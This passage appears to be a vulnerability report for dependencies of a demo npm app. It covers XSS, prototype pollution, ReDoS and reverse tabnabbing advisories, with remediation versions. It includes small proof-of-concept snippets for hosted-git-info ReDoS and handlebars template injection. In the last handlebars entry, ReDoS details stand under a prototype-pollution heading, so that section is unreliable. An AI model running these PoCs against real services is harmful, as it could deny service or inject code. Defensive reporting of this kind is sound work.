  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade jquery to version 3.4.0 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + jquery +
  • + +
  • Introduced through: + + goof@1.0.1 and jquery@2.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + jquery@2.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) + Passing HTML containing <option> elements from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade jquery to version 3.5.0 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + jquery +
  • + +
  • Introduced through: + + goof@1.0.1 and jquery@2.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + jquery@2.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). + Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. .html(), .append(), and others) may execute untrusted code.

+

Details:

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade jquery to version 3.5.0 or higher.

+

References

+ + +
+ + + +
+
+

Cross-site Scripting (XSS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + jquery +
  • + +
  • Introduced through: + + goof@1.0.1 and jquery@2.2.4 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + jquery@2.2.4 + + + +
  • +
+ +
+ +
+ +

Overview

+

jquery is a package that makes things like HTML document traversal and manipulation, event handling, animation, and Ajax much simpler with an easy-to-use API that works across a multitude of browsers.

+

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) + attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

+

Note: After being implemented in version 1.12.0, the fix of this vulnerability was reverted in 1.12.3, and then was only reintroduced in version 3.0.0-beta1. The fix was never released in any tag of the 2.x.x branch, as it was reverted out of the branch before being released.

+

Details

+

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

+

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

+

ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

+

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

+

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

+

Types of attacks

+

There are a few methods by which XSS can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginDescription
StoredServerThe malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
ReflectedServerThe attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-basedClientThe attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
MutatedThe attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.
+

Affected environments

+

The following environments are susceptible to an XSS attack:

+
    +
  • Web servers
  • +
  • Application servers
  • +
  • Web application environments
  • +
+

How to prevent

+

This section describes the top best practices designed to specifically protect your code:

+
    +
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • +
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • +
  • Give users the option to disable client-side scripts.
  • +
  • Redirect invalid requests.
  • +
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • +
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • +
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
  • +
+

Remediation

+

Upgrade jquery to version 1.12.0, 3.0.0-beta1 or higher.

+

References

+ + +
+ + + +
+
+

Reverse Tabnabbing

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + istanbul-reports +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

Affected versions of this package are vulnerable to Reverse Tabnabbing because of no rel attribute in the link to https://istanbul.js.org/.

+

Remediation

+

Upgrade istanbul-reports to version 3.1.3 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + hosted-git-info +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + test-exclude@4.2.1 + + read-pkg-up@1.0.1 + + read-pkg@1.1.0 + + normalize-package-data@2.4.0 + + hosted-git-info@2.6.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

hosted-git-info is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.

+

PoC by Yeting Li

+
var hostedGitInfo = require("hosted-git-info")
+        function build_attack(n) {
+            var ret = "a:"
+            for (var i = 0; i < n; i++) {
+                ret += "a"
+            }
+            return ret + "!";
+        }
+        
+        for(var i = 1; i <= 5000000; i++) {
+           if (i % 1000 == 0) {
+                var time = Date.now();
+                var attack_str = build_attack(i)
+               var parsedInfo = hostedGitInfo.fromUrl(attack_str)
+                var time_cost = Date.now() - time;
+                console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
+        }
+        
+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade hosted-git-info to version 3.0.8, 2.8.9 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + highlight.js +
  • + +
  • Introduced through: + + + goof@1.0.1, typeorm@0.2.24 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + highlight.js@9.18.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

highlight.js is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.

+

Affected versions of this package are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade highlight.js to version 9.18.2, 10.1.2 or higher.

+

References

+ + +
+ + + +
+
+

Regular Expression Denial of Service (ReDoS)

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + highlight.js +
  • + +
  • Introduced through: + + + goof@1.0.1, typeorm@0.2.24 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + typeorm@0.2.24 + + cli-highlight@2.1.4 + + highlight.js@9.18.1 + + + +
  • +
+ +
+ +
+ +

Overview

+

highlight.js is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.

+

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via Exponential and Polynomial catastrophic backtracking in multiple language highlighting.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

+

From there, the number of steps the engine must use to validate a string just continues to grow.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
StringNumber of C'sNumber of steps
ACCCX338
ACCCCX471
ACCCCCX5136
ACCCCCCCCCCCCCCX1465,553
+

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

+

Remediation

+

Upgrade highlight.js to version 10.4.1 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.

+

POC

+
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> 
+        <script> 
+        // compile the template 
+        
+        var s2 = `{{'a/.") || alert("Vulnerable Handlebars JS when compiling in compat mode'}}`; 
+        var template = Handlebars.compile(s2, { 
+        compat: true 
+        }); 
+        // execute the compiled template and print the output to the console console.log(template({})); 
+        </script>
+        
+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade handlebars to version 4.7.7 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ medium severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + handlebars +
  • + +
  • Introduced through: + + + goof@1.0.1, hbs@4.0.4 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + hbs@4.0.4 + + handlebars@4.0.14 + + + +
  • +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + nyc@11.9.0 + + istanbul-reports@1.4.0 + + handlebars@4.0.11 + + + +
  • +
+ +
+ +
+ +

Overview

+

handlebars is an extension to the Mustache templating language.

+

Affected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.

+

Details

+

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

+

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

+

Let’s take the following regular expression as an example:

+
regex = /A(B|C+)+D/
+        
+

This regular expression accomplishes the following:

+
    +
  • A The string must start with the letter 'A'
  • +
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • +
  • D Finally, we ensure this section of the string ends with a 'D'
  • +
+

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

+

It most cases, it doesn't take very long for a regex engine to find a match:

+
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
+        0.04s user 0.01s system 95% cpu 0.052 total
+        
+        $ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
+        1.79s user 0.02s system 99% cpu 1.812 total
+        
+

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

+

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

+

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

+
    +
  1. CCC
  2. +
  3. CC+C
  4. +
  5. C+CC
  6. +
  7. C+C+C.
  8. +
+

